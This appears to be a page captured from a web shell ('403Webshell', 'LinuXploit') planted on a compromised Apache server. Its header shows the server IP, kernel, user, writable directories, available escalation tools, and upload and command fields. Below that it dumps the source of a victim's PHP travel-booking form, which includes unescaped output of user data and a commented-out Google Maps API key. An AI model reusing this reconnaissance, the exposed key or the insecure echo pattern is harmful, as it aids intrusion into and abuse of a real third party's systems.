403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/customer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/customer/transfer-query-form.phtml
<?php
$country = $this->countryList;
$objTransportsRoutes = new Travel_Model_TblTransportsRoutes();
$arrVehicleTypeList = $objTransportsRoutes->getAllVehicleTypeList();
$leadDetail = $this->leadDetail;
//echo "<pre>";print_r($leadDetail);
$Details = isset($leadDetail['Details']) ? json_decode($leadDetail['Details'], true) : array();
$roominfojson = isset($leadDetail['RoomMemInfoJson']) ? json_decode($leadDetail['RoomMemInfoJson'], true) : array();
//echo $roominfojson;
$TotalPax = 0;
$adultPax = 0;
$childPax = 0;
$infantPax = 0;
//echo "<pre>";print_r($roominfojson);echo "</pre>";die;
if (!empty($roominfojson) ) {
    foreach ($roominfojson as $res) {
        $TotalPax += @$res['TotalPax'];
        $adultPax += @$res['Adult'];
        $childPax += @$res['Child'];
        $infantPax += @$res['Infant'];
    }
}
$customerId = $this->customerId;
$displaySaveButton = '';
            $displayOtherButton = 'none';
            if ($this->IsFromModified == true) {
                $displaySaveButton = 'none';
                $displayOtherButton = '';
            }
$TPSysId = isset($leadDetail['TPSysId']) ? $leadDetail['TPSysId'] : '';
$qidLink = isset($leadDetail['TPSysId']) ? "/qid/" . base64_encode($TPSysId) : '';

$sidLink = !empty($leadDetail['EnqSupplierSysId']) ? "/sid/" . $leadDetail['EnqSupplierSysId'] : '';
//echo "<pre>";print_r($leadDetail);echo "</pre>";
$secureCode = Zend_Controller_Action_HelperBroker::getStaticHelper('SecureCode')->secureCode(trim(base64_encode($TPSysId)), 1);  
?>
<style>
    .redtxt {
        color: red;
    }

    .text-larg {
        font-size: 14px;
        background: #222;
        color: #FFF;
        padding: 5px 10px 10px 15px;
        margin-top: 5px;
        text-align: center;
    }

    .panel>.panel-body {
        background-color: #fafafa;
    }
</style>
<div class="col-md-12 no-padding queryform_box_design" id="modsrchdetail">
    <form name="TransferQueryForm" class="TransferQueryForm" id="TransferQueryForm" method="POST" action="javascript://">
        <input type="hidden" name="LeadSysId" value="<?php echo isset($leadDetail['LeadSysId']) ? (int) $leadDetail['LeadSysId'] : 0; ?>">
        <input type="hidden" name="customerID" id="customerID" value="<?php echo $customerId; ?>">
        <input type="hidden" name="TPSysId" id="tmodify_TPSysId" value="<?php echo isset($leadDetail['TPSysId']) ? $leadDetail['TPSysId'] : ''; ?>">
        <div id="material">
        <div class="col-md-12 no-padding">
            <div class="col-md-12 mt_13" style="margin-bottom:0;">
                <div class="mobile_scrolling mobilenewleads_radioalign">
                        <label> <strong class="text-2- text-larg-"> Query Type </strong> &nbsp;&nbsp;&nbsp;&nbsp; </label>
                        <input type="radio" name="queryType" id="radioRedCheckbox4_a" value="0" <?php echo (isset($leadDetail['queryType']) && $leadDetail['queryType'] == 0) ? 'checked' : 'checked'; ?>>
                        <label for="radioRedCheckbox4_a" class="inlinebl" id="onWay">One Way</label>
                        <input type="radio" name="queryType" id="radioRedCheckbox4_b" value="1" <?php echo (isset($leadDetail['queryType']) && $leadDetail['queryType'] == 1) ? 'checked' : ''; ?>>
                        <label for="radioRedCheckbox4_b" class="inlinebl" id="roundTrip">Round Trip</label>
                       <!-- <label class="radio inlinebl" id="onWay">
                            <input class="icheck-red" type="radio" name="queryType" id="radioRedCheckbox4" value="1" <?php /*echo (isset($leadDetail['queryType']) && $leadDetail['queryType'] == 1) ? 'checked' : 'checked'; */?>>
                            One Way
                        </label>&nbsp;&nbsp;&nbsp;&nbsp;-->

                       <!-- <label class="radio inlinebl" id="roundTrip">
                            <input class="icheck-red" type="radio" name="queryType" id="radioRedCheckbox4" value="2" <?php /*echo (isset($leadDetail['queryType']) && $leadDetail['queryType'] == 2) ? 'checked' : ''; */?>>
                            Round Trip</label>&nbsp;&nbsp;&nbsp;&nbsp;-->
                        <!--                        | &nbsp;&nbsp;&nbsp;&nbsp;  
                        <label class="radio inlinebl" id="multiCity"><input class="icheck-red" type="radio" name="queryType" id="radioRedCheckbox4" value="3"> Airport Transfer</label>&nbsp;&nbsp;&nbsp;&nbsp;
                        <label class="radio inlinebl" id="stationtransfer"><input class="icheck-red" type="radio" name="queryType" id="radioRedCheckbox4" value="4"> Station Transfer</label>&nbsp;&nbsp;&nbsp;&nbsp;
                        <label class="radio inlinebl" id="sightseeing1"><input class="icheck-red" type="radio" name="queryType" id="radioRedCheckbox4" value="5"> Sightseeing</label>-->
                  
                </div>
            </div>
        </div>
        <div class="col-md-12 no-padding" style="padding-top:10px !important; padding-bottom:10px !important;" id="onWay-tab">
            <div class="col-md-4">
                <div class="form-group">

                    <input autocomplete="off" name="search_going_transfer" id="search_going_transfer" type="text" class="form-control" onkeyup="get_city_autosuggest('search_going_transfer', 'search_going_transfer_to', '');" value="<?php echo (isset($leadDetail['search_going_transfer']) && trim($leadDetail['search_going_transfer']) != '') ? trim($leadDetail['search_going_transfer']) : (isset($leadDetail['DestinationPlaces']) ? trim($leadDetail['DestinationPlaces']) : '') ?>">
                    <label for="search_going_transfer" class="form-control-placeholder-selectfilter">Going To<span class="red">*</span></label>
                    <input type="hidden" id="search_going_transfer_to" name="search_going_transfer_to" value="<?php echo (isset($leadDetail['search_going_transfer_to']) && trim($leadDetail['search_going_transfer_to']) != '') ? trim($leadDetail['search_going_transfer_to']) : (isset($leadDetail['DestinationPlacesSysId']) ? trim($leadDetail['DestinationPlacesSysId']).'__'.trim($leadDetail['DestinationPlaces']) : '') ?>" />

                </div>
            </div>
            <div class="col-md-4">
                <div class="form-group">

                    <input autocomplete="off" name="search_going_transfer_f" id="search_going_transfer_f" type="text" class="form-control" onkeyup="get_city_autosuggest('search_going_transfer_f', 'search_going_transfer_from', '');" value="<?php echo (isset($leadDetail['search_going_transfer_f']) && trim($leadDetail['search_going_transfer_f']) != '') ? trim($leadDetail['search_going_transfer_f']) : (isset($leadDetail['SourcePlaces']) ? trim($leadDetail['SourcePlaces']) : '') ?>">
                    <label for="search_going_transfer_f" class="form-control-placeholder-selectfilter">Going From <span class="red">*</span></label>
                    <input type="hidden" id="search_going_transfer_from" name="search_going_transfer_from" value="<?php echo (isset($leadDetail['search_going_transfer_from']) && trim($leadDetail['search_going_transfer_from']) != '') ? trim($leadDetail['search_going_transfer_from']) :  (isset($leadDetail['SourcePlaceSysId']) ? trim($leadDetail['SourcePlaceSysId']).'__'.trim($leadDetail['SourcePlaces']) : '') ?>" />
                </div>
            </div>
            <div class="col-md-4">
                <div class="form-group">

                    <!--<div class="input-group ls-group-input">-->
                        <input autocomplete="off" class="form-control datePickerTransfer" type="text" name="pickUpDateTime" id="pickUpDateTime" value="<?php echo (isset($leadDetail['pickUpDateTime']) && ($leadDetail['pickUpDateTime']) != '') ? ($leadDetail['pickUpDateTime']) : ((isset($leadDetail['StartDate']) && ($leadDetail['StartDate']) != '') ? ($leadDetail['StartDate']->format('d/m/Y H:s')) : '') ?>" />
                        <!--<span class="input-group-addon dateTimePickerCustom1"><i class="fa fa-calendar"></i></span>-->
                    <!--</div>-->
                    <label for="pickUpDateTime" class="form-control-placeholder-selectfilter">Pick up date & time <span class="red">*</span></label>
                    <div class="clear"></div>
                </div>
            </div>
            <div class="col-md-4">
                <div class="form-group" style="">
                    <input autocomplete="off" name="noofDays" id="noofDays" type="number" class="form-control" value="<?php echo (isset($leadDetail['noofDays']) && ($leadDetail['noofDays']) != '') ? ($leadDetail['noofDays']) : ((isset($leadDetail['DaysCountFrom']) && ($leadDetail['DaysCountFrom']) != '') ? ($leadDetail['DaysCountFrom']) : '') ?>">
                    <label for="noofDays" class="form-control-placeholder-selectfilter">Number of Days</label>
                </div>
            </div>
            <div class="col-md-4">
                <div class="form-group" style="">

                    <input autocomplete="off" name="travelers" type="text" class="form-control travelers" value="<?php echo (isset($leadDetail['travelers']) && ($leadDetail['travelers']) != '') ? ($leadDetail['travelers']) : ((isset($leadDetail['MinPax']) && ($leadDetail['MinPax']) != '') ? ($leadDetail['MinPax']) : '') ?>">
                    <label for="travelers" class="form-control-placeholder-selectfilter">Travelers <span class="red">*</span></label>
                </div>
            </div>
            <div class="col-md-4">
                <div class="form-group pickup_location_pick" style="">

<!--                    <input name="pickUpLocation" type="text" class="form-control" id="pickUpLocation" value="--><?php //echo (isset($leadDetail['pickUpLocation']) && ($leadDetail['pickUpLocation']) != '') ? ($leadDetail['pickUpLocation']) : '' ?><!--" style="width:366px; height: 34px">-->
                    <input name="pickUpLocation" placeholder="" type="text" class="form-control" id="pickUpLocation" value="<?php echo (isset($leadDetail['pickUpLocation']) && ($leadDetail['pickUpLocation']) != '') ? ($leadDetail['pickUpLocation']) : ((isset($Details['pickUpLocation']) && ($Details['pickUpLocation']) != '') ? ($Details['pickUpLocation']) : '') ?>">
                    <label for="pickUpLocation" class="form-control-placeholder-selectfilter">Pick Up Location</label>
                    <!--<input class="form-control" type="text" name="txtDestinationName" id="txtDestinationName" value="" style="width:390px; height: 30px">-->

                </div>
            </div>

            <div class="col-md-4">
                <div class="form-group preferenceDropdown">

                    <select autocomplete="off" id="preference" name="preference[]" multiple class="demo-default select-country">
                        <option value="">Select</option>
                        <?php
						$preference = (isset($leadDetail['HotelPreference']) && !empty($leadDetail['HotelPreference'])) ? explode(',',$leadDetail['HotelPreference']): ((isset($leadDetail['preference']) && !empty($leadDetail['preference'])) ? $leadDetail['preference'] : array());
                        if (!empty($arrVehicleTypeList) ) {
                            foreach ($arrVehicleTypeList as $VehicleType) {
                                $selected = '';
                                if ($preference) {
                                    foreach ($preference as $preKey => $preVal) {
                                        if ($preVal == $VehicleType['VehicleTypeSysId']) {
                                            $selected = 'selected';
                                        }
                                    }
                                }
                        ?>
                                <option value="<?php echo $VehicleType['VehicleTypeSysId']; ?>" <?php echo $selected; ?>><?php echo $VehicleType['Title']; ?></option>
                        <?php
                            }
                        }
                        ?>
                    </select>
                    <label for="preference" class="form-control-placeholder-selectfilter">Preference</label>
                </div>
            </div>
            <div class="col-md-4">
                <div class="form-group lead_sourceDropdown" style="">
                    <select autocomplete="off" name="lead_source" id="lead_source" class="demo-default select-country" placeholder="Select">

                        <?php if (count($this->getleadSource)) {
                            foreach ($this->getleadSource as $sourcekey => $sourcevalue) {
                                $selected = (($leadDetail['lead_source'] == $sourcevalue['LeadSourceSysId']) || ($sourcevalue['LeadSourceSysId'] == $this->lead_source)) ? 'selected' : '';
                        ?>
                                <option value="<?php echo $sourcevalue['LeadSourceSysId'] ?>" <?php echo $selected; ?>><?php echo $sourcevalue['Title'] ?></option>
                        <?php }
                        } ?>
                    </select>
                    <label for="lead_source" class="form-control-placeholder-selectfilter"><strong>Lead Source</strong></label>
                </div>
            </div>


            <div class="col-md-4">
                <div class="form-group" style="width:100%; display:inline-table;">

                    <textarea class="selectinput1 form-control" name="leadRemark"><?php echo (isset($leadDetail['leadRemark']) && ($leadDetail['leadRemark']) != '') ? ($leadDetail['leadRemark']) : '' ?></textarea>
                    <label for="leadRemark" class="form-control-placeholder-selectfilter">Add Remark</label>
                </div>
            </div>
            <div class=" ">
                <div class="col-md-4" style="display:none1;">
                    <div class="form-group dropdown currentOwnerSysIdDropdown active">
                    <label for="currentOwnerSysId" class="form-control-placeholder-selectfilter">Assign To Sales</label>
                        <select id="currentOwnerSysId" name="currentOwnerSysId" class="demo-default select-country">
                            <option value="0">Self</option>
                            <?php
                            if (!empty($this->getActiveStaff) ) {
                                foreach ($this->getActiveStaff as $stkey => $stvalue) {
                                    $selected = (($leadDetail['currentOwnerSysId'] == $stvalue['UserSysId'])) ? 'selected' : '';
                            ?>
                                    <option value="<?php echo $stvalue['UserSysId'] ?>" <?php echo $selected; ?>><?php echo trim($stvalue['FirstName']).' '.trim($stvalue['LastName']) ?></option>
                            <?php }
                            }
                            ?>
                        </select>
                    </div>
                </div>
                <div class="col-md-4" style="display:none1;">
                <div class="hotelreference_checkboxalign">
                    <div class="form-group1 col-md-5 no-padding" style="bottom: 15px;">
                        <!--<label for="IsOperationalLead" class="form-control-placeholder-selectfilter">Assign To Ops</label>-->
                        <label>Assign To Ops:</label>
                        <div class="cl"></div>
                        <label class="checkbox_popup checkbox_popupwidth"> <input type="checkbox" name="IsOperationalLead" value="1" class="IsOperationalLead" <?php echo ($leadDetail['IsOperationalLead'] == 1) ? 'checked' : '';?> /><span class="checkmark"></span></label>
                    </div>
                    <div class="form-group1 col-md-7 no-padding-right OpsAgentSysIdHtml" style="<?php echo ($leadDetail['IsOperationalLead'] == 1) ? '' : 'display:none;';?>">
                        <select id="OpsAgentSysId" name="OpsAgentSysId" class="demo-default select-country" >
                            <option value="">Select</option>
                            <?php
                            if (!empty($this->agencyOpsUser) ) {
                                foreach ($this->agencyOpsUser as $stkey1 => $stvalue1) {
                                    $selected = (($leadDetail['OpsAgentSysId'] == $stvalue1['UserSysId'])) ? 'selected' : '';
                            ?>
                                    <option value="<?php echo $stvalue1['UserSysId'] ?>" <?php echo $selected; ?>><?php echo trim($stvalue1['FirstName']) . ' ' . trim($stvalue1['LastName']) ?></option>
                            <?php }
                            }
                            ?>
                        </select>
                    </div>
                </div>
            </div>
            <div class="col-md-2" style="display:none;">
                <div class="form-group no-margin dropdown active">
                    <label for="ExpectedClosureDate" class="form-control-placeholder-selectfilter">Expected Closure Date </label>
                    <input autocomplete="off" class="form-control " placeholder="dd/mm/yy" type="text" name="ExpectedClosureDate" value="<?php echo (isset($leadDetail['ExpectedClosureDate']) && $leadDetail['ExpectedClosureDate'] != '' && ($leadDetail['ExpectedClosureDate']->format('d/m/Y')!='01/01/1900'))?$leadDetail['ExpectedClosureDate']->format('d/m/Y'):''; ?>" id="ExpectedClosureDate" />
                </div>
            </div>
            <div class="col-md-2" style="display:none;">
                <div class="form-group no-margin dropdown active">
                    <label for="ExpectedValue" class="form-control-placeholder-selectfilter">Expected Closure Amount </label>
                    <input autocomplete="off" class="form-control" placeholder="" type="text" name="ExpectedValue" value="<?php echo (isset($leadDetail['ExpectedValue']) && ($leadDetail['ExpectedValue'] != '')) ? $leadDetail['ExpectedValue'] : ''; ?>" id="ExpectedValue" />
                </div>
            </div>
                <div class="col-md-12 text-right" >
                    <div class="ls-group-input transferSubmitDiv mobile_scrolling">
                        <span class="transferMsg" style="margin-right: 10px;"></span>

                        <a onclick="SavePkgQueryTransport();" class="btn btn-primarygray btn-sm ladda-button modifySaveBtn" style="display:<?php echo $displayOtherButton; ?>;">Modify &amp; Save</a>


                                            <span id="buildquickbutton">
                                                    <a href="<?php echo $this->baseUrl('build-your-own/index/index' . $qidLink . '/code/' . $secureCode); ?>" class="btn btn-danger btn-sm searchSightseeingButton" style="display:<?php echo $displayOtherButton; ?>;">Create Quick Proposal</a>
                                            </span>
                                            <a href="<?php echo $this->baseUrl('packagesearch/enquirysupplierpackage/tpid/' . base64_encode($TPSysId)); ?>" target="_blank" class="btn btn btn-danger btn-sm ladda-button sendEnquiryToSupplierButtonTransfer" style="display:<?php echo $displayOtherButton; ?>;">Contact Suppliers</a>

                        <button class="btn btn btn-primary transport-btn searchresult" id="1searchresult" type="submit" style="display:<?php echo $displaySaveButton; ?>;"> Save & Continue </button>
                        <a class="btn btn-sm btn-primary transport-btn  searchResultTransport" <?php echo ($this->urlsource == 'whatsapp') ? 'target="_blank"' : '';?> href="/transport/search" style="display:<?php echo $displayOtherButton; ?>;">Search Result</a>
                    </div>
                </div>
            </div>
            <div class="clearfix"></div>
        </div>
        </div>
    </form>
</div>
<!--<script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyB0G1HvaynGZ2BP71ciLjVKUMqDfFu8YUA&libraries=places"></script>-->

<!--<fieldset style="width: 75%; margin-left: 20px; margin-right: 20px;display:none;">
    <div class="form-row row-fluid">
        <div class="span12">
            <div class="row-fluid">
                <div class="span6">
                    <div id="map_canvas"></div>
                </div>
                <div class="row-fluid" style="margin-left:10px">
                    <ul id="tt"></ul>
                    &nbsp;
                </div>
            </div>
        </div>
    </div>
</fieldset>-->
<script>
    $().ready(function() {
        $(".datePickerTransfer").datetimepicker({
            format: 'd/m/Y H:00:00',
            timepicker: true,
            minDate: 0
        });
        $("#ExpectedClosureDate").datetimepicker({
            format: 'd/m/Y',
            timepicker: false,
            minDate: 0
        });
    });

    function SavePkgQueryTransport() {
        $(".TransferQueryForm").submit();
    }

    $(".TransferQueryForm").on('submit', function() {
        $('.transferMsg').html('');
        var formName = '.TransferQueryForm';
        var search_going_transfer_to = $.trim($(formName + ' input[name="search_going_transfer_to"]').val());
        var search_going_transfer_from = $.trim($(formName + ' input[name="search_going_transfer_from"]').val());
        var travelers = $.trim($(formName + ' input[name="travelers"]').val());
        var pickUpDateTime = $.trim($(formName + ' input[name="pickUpDateTime"]').val());
        if (search_going_transfer_to == '') {
            $('.transferMsg').html('Please enter going to city').css({
                'color': 'red'
            });
            $('#search_going_transfer').focus();
            return false;
        }
        if (search_going_transfer_from == '') {
            $('.transferMsg').html('Please enter going from city').css({
                'color': 'red'
            });
            $('#search_going_transfer_f').focus();
            return false;
        }
        if (pickUpDateTime == '') {
            $('.transferMsg').html('Please enter pick up date').css({
                'color': 'red'
            });
            $('#pickUpDateTime').focus();
            return false;
        }

        if (travelers == '') {
            $('.transferMsg').html('Please enter Travelers.').css({
                'color': 'red'
            });
            $('.travelers').focus();
            return false;
        }
        var data = $('#TransferQueryForm').serialize();
	var tmodify_TPSysId = $('#tmodify_TPSysId').val();
        $.ajax({
            url: '/transport/transport/save-transfer-query-detail',
            data: data,
            type: 'POST',
            dataType: 'json',
            beforeSend: function(data) {

            },
            success: function(response) {
                if (response.success = true) {
					if(tmodify_TPSysId == ''){
						$('.transferMsg').html('Query created successfully.').css({
							'color': 'green'
						});
					}else{
						$('.transferMsg').html('Query modified successfully.').css({
							'color': 'green'
						});
					}
                   
                    $('.searchresult').hide();
                    $('.modifySaveBtn').show();
                    $('.searchResultTransport').show();
                    $('#buildquickbutton').html('&nbsp;<a  target="_blank" class="btn btn btn-danger btn-sm ladda-button buildquickbutton" href="<?php echo $this->baseUrl('build-your-own/index/index/qid/') ?>' + response.TPSysId + '/code/' + response.code + '">Build A Quick Transport</a>&nbsp;');
                    $('.searchResultTransport').focus();
					$(".sendEnquiryToSupplierButtonTransfer").show().attr('href', '/packagesearch/enquirysupplierpackage/tpid/' + response.TPSysId);
					$('#tmodify_TPSysId').val(response.lastID);
				    //window.location.href = '/transport/search';
                }
            },
            error: function() {
                alert("fail : Please try after some time");
            }
        });

    });


    $('.IsOperationalLead').on('click',function(){
        var ischecked = $(this).prop('checked');
        $('#OpsAgentSysId').val('');
        if(ischecked == true){
            $('.OpsAgentSysIdHtml').show();
        }else{
            $('.OpsAgentSysIdHtml').hide();
        }
    })

</script>
<!--<script>
    var mapOptions = {
        center: new google.maps.LatLng('-33.8688', '151.2195'),
        zoom: 13,
        mapTypeId: google.maps.MapTypeId.ROADMAP
    };


    var map = new google.maps.Map(document.getElementById('map_canvas'),
        mapOptions);

    var input = /** @type {HTMLInputElement} */
        (document.getElementById('pickUpLocation'));


    var autocomplete = new google.maps.places.Autocomplete(input);

    autocomplete.bindTo('Bounds', map);

    //autocomplete.setBounds( someOtherBounds );

    var infowindow = new google.maps.InfoWindow();
    var marker = new google.maps.Marker({
        map: map
    });

    google.maps.event.addListener(autocomplete, 'place_changed', function() {
        infowindow.close();
        marker.setVisible(false);
        input.className = '';
        var place = autocomplete.getPlace();

        if (!place.geometry) {
            // Inform the user that the place was not found and return.
            input.className = 'notfound';
            return;
        } else {

            $("#place_id").val(place.place_id);
            $("#place_name").val(place.name);
            $("#place_lat").val(place.geometry.location.lat());
            $("#place_lng").val(place.geometry.location.lng());
            //$("#weekday_text").val(place.opening_hours.weekday_text);
            $("#formatted_address").val(place.formatted_address);
            $("#formatted_phone_number").val(place.formatted_phone_number);
            $("#rating").val(place.rating);


        }

        // If the place has a geometry, then present it on a map.
        if (place.geometry.viewport) {
            map.fitBounds(place.geometry.viewport);
        } else {
            map.setCenter(place.geometry.location);
            map.setZoom(17); // Why 17? Because it looks good.
        }
        marker.setIcon( /** @type {google.maps.Icon} */ ({
            url: place.icon,
            size: new google.maps.Size(71, 71),
            origin: new google.maps.Point(0, 0),
            anchor: new google.maps.Point(17, 34),
            scaledSize: new google.maps.Size(35, 35)
        }));
        marker.setPosition(place.geometry.location);
        marker.setVisible(true);

        var address = '';
        if (place.address_components) {
            address = [
                (place.address_components[0] && place.address_components[0].short_name || ''), (place.address_components[1] && place.address_components[1].short_name || ''), (place.address_components[2] && place.address_components[2].short_name || '')
            ].join(' ');
        }

        infowindow.setContent('<div><strong>' + place.name + '</strong><br>' + address);
        infowindow.open(map, marker);
    });

    // Sets a listener on a radio button to change the filter type on Places
    // Autocomplete.
    function setupClickListener(id, types) {
        var radioButton = document.getElementById(id);
        google.maps.event.addDomListener(radioButton, 'click', function() {
            autocomplete.setTypes(types);
        });
    }

    setupClickListener('changetype-all', []);
    setupClickListener('changetype-establishment', ['establishment']);
    setupClickListener('changetype-geocode', ['geocode']);
</script>-->

Youez - 2016 - github.com/yon3zu
LinuXploit